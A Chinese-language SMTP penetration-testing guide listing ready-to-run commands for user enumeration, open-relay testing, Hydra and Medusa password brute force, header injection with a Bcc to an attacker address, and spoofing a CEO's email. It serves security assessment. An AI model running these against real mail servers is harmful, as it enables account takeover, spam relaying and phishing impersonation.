对 SMTP（简单邮件传输协议）服务器进行全面安全评估，以识别漏洞，包括开放中继、用户枚举、弱认证和配置错误。此技能涵盖横幅抓取、用户枚举技术、中继测试、暴力攻击和安全加固建议。

# 带有 SMTP 脚本的 Nmap
sudo apt-get install nmap

# Netcat
sudo apt-get install netcat

# Hydra 用于暴力破解
sudo apt-get install hydra

# SMTP 用户枚举工具
sudo apt-get install smtp-user-enum

# Metasploit 框架
msfconsole

组件：MTA（传输）→ MDA（投递）→ MUA（客户端）

端口：25（SMTP）、465（SMTPS）、587（提交）、2525（替代）

工作流：发件人 MUA → 发件人 MTA → DNS/MX → 收件人 MTA → MDA → 收件人 MUA

# 发现 SMTP 端口
nmap -p 25,465,587,2525 -sV TARGET_IP

# 主动服务检测
nmap -sV -sC -p 25 TARGET_IP

# SMTP 特定脚本
nmap --script=smtp-* -p 25 TARGET_IP

# 发现域名的 MX 记录
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com

# 使用 Telnet
telnet TARGET_IP 25
# 响应：220 mail.target.com ESMTP Postfix

# 使用 Netcat
nc TARGET_IP 25
# 响应：220 mail.target.com ESMTP

# 使用 Nmap
nmap -sV -p 25 TARGET_IP
# 版本检测提取横幅信息

# 手动 SMTP 命令
EHLO test
# 响应揭示支持的扩展

横幅揭示：
- 服务器软件（Postfix、Sendmail、Exchange）
- 版本信息
- 主机名
- 支持的 SMTP 扩展（STARTTLS、AUTH 等）

# 连接并测试命令
nc TARGET_IP 25

# 初始问候
EHLO attacker.com

# 响应显示能力：
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN

# VRFY - 验证用户是否存在
VRFY admin
250 2.1.5 admin@target.com

# EXPN - 展开邮件列表
EXPN staff
250 2.1.5 user1@target.com
250 2.1.5 user2@target.com

# RCPT TO - 收件人验证
MAIL FROM:<test@attacker.com>
RCPT TO:<admin@target.com>
# 250 OK = 用户存在
# 550 = 用户不存在

# 使用 smtp-user-enum 配合 VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP

# 使用 EXPN 方法
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP

# 使用 RCPT 方法
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP

# 指定端口和域名
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com

use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run

# SMTP 用户枚举脚本
nmap --script smtp-enum-users -p 25 TARGET_IP

# 使用自定义用户列表
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP

测试未经授权的电子邮件中继：

# 使用 Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP

# 通过 Telnet 手动测试
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<victim@external-domain.com>
DATA
Subject: Relay Test
This is a test.
.
QUIT

# 如果被接受（250 OK），则服务器为开放中继

use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run

# 测试不同的发件人/收件人组合
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<test@target.com>

RCPT TO:<test@external.com>
RCPT TO:<"test@external.com">
RCPT TO:<test%external.com@target.com>

# 使用 Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP

# 指定端口和 SSL
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp

# 多个用户
hydra -L users.txt -P passwords.txt TARGET_IP smtp

# 详细输出
hydra -l admin -P passwords.txt smtp://TARGET_IP -V

medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp

use auxiliary/scanner/smtp/smtp_login
set RHOSTS TARGET_IP
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set VERBOSE true
run

# 头部注入测试
MAIL FROM:<attacker@test.com>
RCPT TO:<victim@target.com>
DATA
Subject: Test
Bcc: hidden@attacker.com
X-Injected: malicious-header

Injected content
.

# 伪造发件人（测试 SPF/DKIM 防护）
MAIL FROM:<ceo@target.com>
RCPT TO:<employee@target.com>
DATA
From: CEO <ceo@target.com>
Subject: Urgent Request
Please process this request immediately.
.

# STARTTLS 支持检查
openssl s_client -connect TARGET_IP:25 -starttls smtp

# 直接 SSL（端口 465）
openssl s_client -connect TARGET_IP:465

# 密码套件枚举
nmap --script ssl-enum-ciphers -p 25 TARGET_IP

# SPF/DKIM/DMARC 记录查询
dig TXT target.com | grep spf            # SPF
dig TXT selector._domainkey.target.com    # DKIM
dig TXT _dmarc.target.com                 # DMARC

# SPF 策略：-all = 严格失败，~all = 软失败，?all = 中立

smtp-user-enum smtp-user-enum -M VRFY -U users.txt -t IP

Nmap nmap --script smtp-enum-users -p 25 IP

Metasploit use auxiliary/scanner/smtp/smtp_enum

开放中继 高 使用外部收件人进行中继测试

Smtp Penetration Testing 实用指南

Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration.

安全

网络与通信

架构设计

本文提供SMTP渗透测试完整指南，涵盖服务发现、横幅抓取、用户枚举、开放中继检测、暴力破解及TLS安全测试，附常用命令速查表和实战示例，帮助安全人员高效评估邮件服务器安全。

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Smtp Penetration Testing 实用指南

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